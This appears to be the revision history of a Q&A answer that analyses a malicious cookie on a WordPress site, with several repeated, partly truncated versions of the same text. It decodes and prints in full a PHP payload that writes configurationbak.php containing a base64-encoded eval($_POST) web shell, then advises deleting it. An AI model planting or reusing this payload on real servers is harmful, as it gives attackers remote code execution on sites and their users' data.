We’re rewarding the question askers & reputations are being recalculated! Read more.
5 added 313 characters in body
source | link

You seem to have malicious web content there. It might be useful to spend some time learning about cookies and PHP. This is a manually encoded cookie, and it refers to two other server-side codes (probably also PHP code):

  1. "/configurationbak.php"
  2. "/"

Probably the second file works out to be index.php. I would check for malicious content in those two files. In particular, this cookie passes variables into those two PHP scripts using the URL and the GET method for passing data. When you decode the GET string using a tool like URL Decoder, you get the following:

"uri":"www.somedomain.com/?1=@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo '->|';file_put_contents($_SERVER['DOCUMENT_ROOT'].'/configurationbak.php',base64_decode('PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+'));echo '|<-';","blog_id":1,"post":7,"key":"www.somedomain.com80/?1=@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo '->|';file_put_contents($_SERVER['DOCUMENT_ROOT'].'/configurationbak.php',base64_decode('PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+'));echo '|<-';"

There is some further obfuscation here. The call to base64_decode will convert the string 'PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+' to the following:

"<?php eval($_POST1);?>"

The conversion tool that I used for the decoding is Base 64 Decode.

This looks like some sort of clever WordPress exploit that recursively convinces your web-page to run the hacker's code so they can access your PHP interpreter.

To be safe, you should delete this file and be on the look-out for extra PHP files created by exploits like this one (i.e. configurationbak.php).

You seem to have malicious web content there. It might be useful to spend some time learning about cookies and PHP. This is a manually encoded cookie, and it refers to two other server-side codes (probably also PHP code):

  1. "/configurationbak.php"
  2. "/"

Probably the second file works out to be index.php. I would check for malicious content in those two files. In particular, this cookie passes variables into those two PHP scripts using the URL and the GET method for passing data. When you decode the GET string using a tool like URL Decoder, you get the following:

"uri":"www.somedomain.com/?1=@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo '->|';file_put_contents($_SERVER['DOCUMENT_ROOT'].'/configurationbak.php',base64_decode('PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+'));echo '|<-';","blog_id":1,"post":7,"key":"www.somedomain.com80/?1=@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo '->|';file_put_contents($_SERVER['DOCUMENT_ROOT'].'/configurationbak.php',base64_decode('PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+'));echo '|<-';"

There is some further obfuscation here. The call to base64_decode will convert the string 'PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+' to the following:

"<?php eval($_POST1);?>"

The conversion tool that I used for the decoding is Base 64 Decode.

You seem to have malicious web content there. It might be useful to spend some time learning about cookies and PHP. This is a manually encoded cookie, and it refers to two other server-side codes (probably also PHP code):

  1. "/configurationbak.php"
  2. "/"

Probably the second file works out to be index.php. I would check for malicious content in those two files. In particular, this cookie passes variables into those two PHP scripts using the URL and the GET method for passing data. When you decode the GET string using a tool like URL Decoder, you get the following:

"uri":"www.somedomain.com/?1=@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo '->|';file_put_contents($_SERVER['DOCUMENT_ROOT'].'/configurationbak.php',base64_decode('PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+'));echo '|<-';","blog_id":1,"post":7,"key":"www.somedomain.com80/?1=@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo '->|';file_put_contents($_SERVER['DOCUMENT_ROOT'].'/configurationbak.php',base64_decode('PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+'));echo '|<-';"

There is some further obfuscation here. The call to base64_decode will convert the string 'PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+' to the following:

"<?php eval($_POST1);?>"

The conversion tool that I used for the decoding is Base 64 Decode.

This looks like some sort of clever WordPress exploit that recursively convinces your web-page to run the hacker's code so they can access your PHP interpreter.

To be safe, you should delete this file and be on the look-out for extra PHP files created by exploits like this one (i.e. configurationbak.php).

4 added 123 characters in body
source | link

You seem to have malicious web content there. It might be useful to spend some time learning about cookies and PHP. This is a manually encoded cookie, and it refers to two other server-side codes (probably also PHP code):

  1. "/configurationbak.php"
  2. "/"

Probably the second file works out to be index.php. I would check for malicious content in those two files. In particular, this cookie passes variables into those two PHP scripts using the URL and the GET method for passing data. When you decode the GET string using a tool like URL Decoder, you get the following:

"uri":"www.somedomain.com/?1=@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo '->|';file_put_contents($_SERVER['DOCUMENT_ROOT'].'/configurationbak.php',base64_decode('PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+'));echo '|<-';","blog_id":1,"post":7,"key":"www.somedomain.com80/?1=@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo '->|';file_put_contents($_SERVER['DOCUMENT_ROOT'].'/configurationbak.php',base64_decode('PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+'));echo '|<-';"

There is some further obfuscation here. The call to base64_decode will convert the string 'PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+' to the following:

"<?php eval($_POST1);?>"

The conversion tool that I used for the decoding is Base 64 Decode.

You seem to have malicious web content there. It might be useful to spend some time learning about cookies and PHP. This is a manually encoded cookie, and it refers to two other server-side codes (probably also PHP code):

  1. "/configurationbak.php"
  2. "/"

Probably the second file works out to be index.php. I would check for malicious content in those two files. In particular, this cookie passes variables into those two PHP scripts using the URL and the GET method for passing data. When you decode the GET string using a tool like URL Decoder, you get the following:

"uri":"www.somedomain.com/?1=@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo '->|';file_put_contents($_SERVER['DOCUMENT_ROOT'].'/configurationbak.php',base64_decode('PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+'));echo '|<-';","blog_id":1,"post":7,"key":"www.somedomain.com80/?1=@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo '->|';file_put_contents($_SERVER['DOCUMENT_ROOT'].'/configurationbak.php',base64_decode('PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+'));echo '|<-';"

You seem to have malicious web content there. It might be useful to spend some time learning about cookies and PHP. This is a manually encoded cookie, and it refers to two other server-side codes (probably also PHP code):

  1. "/configurationbak.php"
  2. "/"

Probably the second file works out to be index.php. I would check for malicious content in those two files. In particular, this cookie passes variables into those two PHP scripts using the URL and the GET method for passing data. When you decode the GET string using a tool like URL Decoder, you get the following:

"uri":"www.somedomain.com/?1=@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo '->|';file_put_contents($_SERVER['DOCUMENT_ROOT'].'/configurationbak.php',base64_decode('PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+'));echo '|<-';","blog_id":1,"post":7,"key":"www.somedomain.com80/?1=@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo '->|';file_put_contents($_SERVER['DOCUMENT_ROOT'].'/configurationbak.php',base64_decode('PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+'));echo '|<-';"

There is some further obfuscation here. The call to base64_decode will convert the string 'PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+' to the following:

"<?php eval($_POST1);?>"

The conversion tool that I used for the decoding is Base 64 Decode.

3 added 123 characters in body
source | link

You seem to have malicious web content there. It might be useful to spend some time learning about cookies and PHP. This is a manually encoded cookie, and it refers to two other server-side codes (probably also PHP code):

  1. "/configurationbak.php"
  2. "/"

Probably the second file works out to be index.php. I would check for malicious content in those two files. In particular, this cookie passes variables into those two PHP scripts using the URL and the GET method for passing data. When you decode the GET string using a tool like URL Decoder, you get the following:

"uri":"www.somedomain.com/?1=@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo '->|';file_put_contents($_SERVER['DOCUMENT_ROOT'].'/configurationbak.php',base64_decode('PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+'));echo '|<-';","blog_id":1,"post":7,"key":"www.somedomain.com80/?1=@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo '->|';file_put_contents($_SERVER['DOCUMENT_ROOT'].'/configurationbak.php',base64_decode('PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+'));echo '|<-';"

You seem to have malicious web content there. It might be useful to spend some time learning about cookies and PHP. This is a manually encoded cookie, and it refers to two other server-side codes (probably also PHP code):

  1. "/configurationbak.php"
  2. "/"

Probably the second file works out to be index.php. I would check for malicious content in those two files. In particular, this cookie passes variables into those two PHP scripts using the URL and the GET method for passing data.

You seem to have malicious web content there. It might be useful to spend some time learning about cookies and PHP. This is a manually encoded cookie, and it refers to two other server-side codes (probably also PHP code):

  1. "/configurationbak.php"
  2. "/"

Probably the second file works out to be index.php. I would check for malicious content in those two files. In particular, this cookie passes variables into those two PHP scripts using the URL and the GET method for passing data. When you decode the GET string using a tool like URL Decoder, you get the following:

"uri":"www.somedomain.com/?1=@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo '->|';file_put_contents($_SERVER['DOCUMENT_ROOT'].'/configurationbak.php',base64_decode('PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+'));echo '|<-';","blog_id":1,"post":7,"key":"www.somedomain.com80/?1=@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo '->|';file_put_contents($_SERVER['DOCUMENT_ROOT'].'/configurationbak.php',base64_decode('PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+'));echo '|<-';"

2 added 123 characters in body
source | link
1
source | link